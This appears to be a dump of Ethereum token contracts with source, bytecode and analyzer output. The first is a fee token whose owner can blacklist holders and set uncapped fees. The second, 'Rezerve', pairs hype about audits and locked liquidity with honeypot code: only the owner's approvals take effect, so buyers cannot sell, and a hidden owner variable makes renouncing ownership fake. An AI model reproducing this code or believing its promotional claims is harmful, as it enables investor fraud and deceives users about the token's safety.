rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051f578063dd62ed3e1461053f578063ea1644d514610585578063f2fde38b146105a557600080fd5b8063a2a957bb1461049a578063a9059cbb146104ba578063bfd79284146104da578063c3c8cd801461050a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104145780638f9a55c01461043457806395d89b411461044a57806398a5c3151461047a57600080fd5b806374010ece146103c05780637d1db4a5146103e05780638da5cb5b146103f657600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103565780636fc3eaec1461037657806370a082311461038b578063715018a6146103ab57600080fd5b8063313ce567146102fa57806349bd5a5e146103165780636b9990531461033657600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c45780632fd689e3146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611abb565b6105c5565b005b3480156101ff57600080fd5b5060408051808201909152600a81526929bab832b91029b434b160b11b60208201525b60405161022f9190611bed565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a0b565b610664565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b50662386f26fc100005b60405190815260200161022f565b3480156102d057600080fd5b506102586102df3660046119ca565b61067b565b3480156102f057600080fd5b506102b660185481565b34801561030657600080fd5b506040516009815260200161022f565b34801561032257600080fd5b50601554610288906001600160a01b031681565b34801561034257600080fd5b506101f1610351366004611957565b6106e4565b34801561036257600080fd5b506101f1610371366004611b87565b61072f565b34801561038257600080fd5b506101f1610777565b34801561039757600080fd5b506102b66103a6366004611957565b6107c2565b3480156103b757600080fd5b506101f16107e4565b3480156103cc57600080fd5b506101f16103db366004611ba2565b610858565b3480156103ec57600080fd5b506102b660165481565b34801561040257600080fd5b506000546001600160a01b0316610288565b34801561042057600080fd5b506101f161042f366004611b87565b610887565b34801561044057600080fd5b506102b660175481565b34801561045657600080fd5b506040805180820190915260078152665355534849424160c81b6020820152610222565b34801561048657600080fd5b506101f1610495366004611ba2565b6108cf565b3480156104a657600080fd5b506101f16104b5366004611bbb565b6108fe565b3480156104c657600080fd5b506102586104d5366004611a0b565b61093c565b3480156104e657600080fd5b506102586104f5366004611957565b60106020526000908152604090205460ff1681565b34801561051657600080fd5b506101f1610949565b34801561052b57600080fd5b506101f161053a366004611a37565b61099d565b34801561054b57600080fd5b506102b661055a366004611991565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059157600080fd5b506101f16105a0366004611ba2565b610a3e565b3480156105b157600080fd5b506101f16105c0366004611957565b610a6d565b6000546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611c42565b60405180910390fd5b60005b81518110156106605760016010600084848151811061061c5761061c611d89565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065881611d58565b9150506105fb565b5050565b6000610671338484610b57565b5060015b92915050565b6000610688848484610c7b565b6106da84336106d585604051806060016040528060288152602001611dcb602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b7565b610b57565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b81526004016105ef90611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107595760405162461bcd60e51b81526004016105ef90611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ac57506013546001600160a01b0316336001600160a01b0316145b6107b557600080fd5b476107bf816111f1565b50565b6001600160a01b03811660009081526002602052604081205461067590611276565b6000546001600160a01b0316331461080e5760405162461bcd60e51b81526004016105ef90611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108825760405162461bcd60e51b81526004016105ef90611c42565b601655565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016105ef90611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016105ef90611c42565b601855565b6000546001600160a01b031633146109285760405162461bcd60e51b81526004016105ef90611c42565b600893909355600a91909155600955600b55565b6000610671338484610c7b565b6012546001600160a01b0316336001600160a01b0316148061097e57506013546001600160a01b0316336001600160a01b0316145b61098757600080fd5b6000610992306107c2565b90506107bf816112fa565b6000546001600160a01b031633146109c75760405162461bcd60e51b81526004016105ef90611c42565b60005b82811015610a385781600560008686858181106109e9576109e9611d89565b90506020020160208101906109fe9190611957565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3081611d58565b9150506109ca565b50505050565b6000546001600160a01b03163314610a685760405162461bcd60e51b81526004016105ef90611c42565b601755565b6000546001600160a01b03163314610a975760405162461bcd60e51b81526004016105ef90611c42565b6001600160a01b038116610afc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b60008111610da35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6000546001600160a01b03848116911614801590610dcf57506000546001600160a01b03838116911614155b156110b057601554600160a01b900460ff16610e68576000546001600160a01b03848116911614610e685760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ef565b601654811115610eba5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ef565b6001600160a01b03831660009081526010602052604090205460ff16158015610efc57506001600160a01b03821660009081526010602052604090205460ff16155b610f545760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ef565b6015546001600160a01b03838116911614610fd95760175481610f76846107c2565b610f809190611ce8565b10610fd95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ef565b6000610fe4306107c2565b601854601654919250821015908210610ffd5760165491505b8080156110145750601554600160a81b900460ff16155b801561102e57506015546001600160a01b03868116911614155b80156110435750601554600160b01b900460ff165b801561106857506001600160a01b03851660009081526005602052604090205460ff16155b801561108d57506001600160a01b03841660009081526005602052604090205460ff16155b156110ad5761109b826112fa565b4780156110ab576110ab476111f1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f257506001600160a01b03831660009081526005602052604090205460ff165b8061112457506015546001600160a01b0385811691161480159061112457506015546001600160a01b03848116911614155b15611131575060006111ab565b6015546001600160a01b03858116911614801561115c57506014546001600160a01b03848116911614155b1561116e57600854600c55600954600d555b6015546001600160a01b03848116911614801561119957506014546001600160a01b03858116911614155b156111ab57600a54600c55600b54600d555b610a3884848484611483565b600081848411156111db5760405162461bcd60e51b81526004016105ef9190611bed565b5060006111e88486611d41565b95945050505050565b6012546001600160a01b03166108fc61120b8360026114b1565b6040518115909202916000818181858888f19350505050158015611233573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124e8360026114b1565b6040518115909202916000818181858888f19350505050158015610660573d6000803e3d6000fd5b60006006548211156112dd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b60006112e76114f3565b90506112f383826114b1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134257611342611d89565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139657600080fd5b505afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190611974565b816001815181106113e1576113e1611d89565b6001600160a01b0392831660209182029290920101526014546114079130911684610b57565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611440908590600090869030904290600401611c77565b600060405180830381600087803b15801561145a57600080fd5b505af115801561146e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149057611490611516565b61149b848484611544565b80610a3857610a38600e54600c55600f54600d55565b60006112f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163b565b6000806000611500611669565b909250905061150f82826114b1565b9250505090565b600c541580156115265750600d54155b1561152d57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611556876116a7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115889087611704565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b79086611746565b6001600160a01b0389166000908152600260205260409020556115d9816117a5565b6115e384836117ef565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162891815260200190565b60405180910390a3505050505050505050565b6000818361165c5760405162461bcd60e51b81526004016105ef9190611bed565b5060006111e88486611d00565b6006546000908190662386f26fc1000061168382826114b1565b82101561169e57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c48a600c54600d54611813565b92509250925060006116d46114f3565b905060008060006116e78e878787611868565b919e509c509a509598509396509194505050505091939550919395565b60006112f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b7565b6000806117538385611ce8565b9050838110156112f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b60006117af6114f3565b905060006117bd83836118b8565b306000908152600260205260409020549091506117da9082611746565b30600090815260026020526040902055505050565b6006546117fc9083611704565b60065560075461180c9082611746565b6007555050565b600080808061182d606461182789896118b8565b906114b1565b9050600061184060646118278a896118b8565b90506000611858826118528b86611704565b90611704565b9992985090965090945050505050565b600080808061187788866118b8565b9050600061188588876118b8565b9050600061189388886118b8565b905060006118a5826118528686611704565b939b939a50919850919650505050505050565b6000826118c757506000610675565b60006118d38385611d22565b9050826118e08583611d00565b146112f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b803561194281611db5565b919050565b8035801515811461194257600080fd5b60006020828403121561196957600080fd5b81356112f381611db5565b60006020828403121561198657600080fd5b81516112f381611db5565b600080604083850312156119a457600080fd5b82356119af81611db5565b915060208301356119bf81611db5565b809150509250929050565b6000806000606084860312156119df57600080fd5b83356119ea81611db5565b925060208401356119fa81611db5565b929592945050506040919091013590565b60008060408385031215611a1e57600080fd5b8235611a2981611db5565b946020939093013593505050565b600080600060408486031215611a4c57600080fd5b833567ffffffffffffffff80821115611a6457600080fd5b818601915086601f830112611a7857600080fd5b813581811115611a8757600080fd5b8760208260051b8501011115611a9c57600080fd5b602092830195509350611ab29186019050611947565b90509250925092565b60006020808385031215611ace57600080fd5b823567ffffffffffffffff80821115611ae657600080fd5b818501915085601f830112611afa57600080fd5b813581811115611b0c57611b0c611d9f565b8060051b604051601f19603f83011681018181108582111715611b3157611b31611d9f565b604052828152858101935084860182860187018a1015611b5057600080fd5b600095505b83861015611b7a57611b6681611937565b855260019590950194938601938601611b55565b5098975050505050505050565b600060208284031215611b9957600080fd5b6112f382611947565b600060208284031215611bb457600080fd5b5035919050565b60008060008060808587031215611bd157600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1a57858101830151858201604001528201611bfe565b81811115611c2c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc75784516001600160a01b031683529383019391830191600101611ca2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfb57611cfb611d73565b500190565b600082611d1d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3c57611d3c611d73565b500290565b600082821015611d5357611d53611d73565b500390565b6000600019821415611d6c57611d6c611d73565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bf57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220103cbc3bb16bdc51c8b37c1fc6ab806f7d46b0aef44603c12f9ab254da209fa764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,660
0x90b1e2097a0267ca2ff6cb77e5817f1489614f6f
/* Our revolutionary new protocols are taking a bold step forward in Defi, a space that is running in place! 💎 Want to give another try to fair launch on ETH (after private sale) - Rererve. Now, from team that launched over 20 tokens for last year. This project was incubated in the Hedgehog Dao, everything is still early there but i expect nice pump on launch. - Certik Audit : https://www.certik.org/projects/rezerve - Liquidity locked forever (held in the tokens contract itself) - Huge marketing (youtube videos from top creators, dext banners, fast cmc/cg/dextools) - Staking live 30 days later after launch - KYC done in private - First day 30% tax on sales - Strong anti-bot mesaures - Tokenomics + marketing: https://link.medium.com/6bunx0psfib - Lite paper: https://rezerveoneth.com/bookstack/books/lp/page/litepaper (read it, its genius) Telegram: https://t.me/RezerveOnChain Discord: https://discord.gg/wS9k8Dte3z https://rezerveoneth.com/home/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Rezerve is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 21 * 10**6 * 10**18; string private _name = 'Rezerve '; string private _symbol = 'RZRV '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220abd1f70b7952d174c1726a7a0dac77099e9f20fdcccb2c7fb8e1296365f965fa64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,661
0x7d70b3e433fcbfba95a5e76bc0f19227fe227c5e
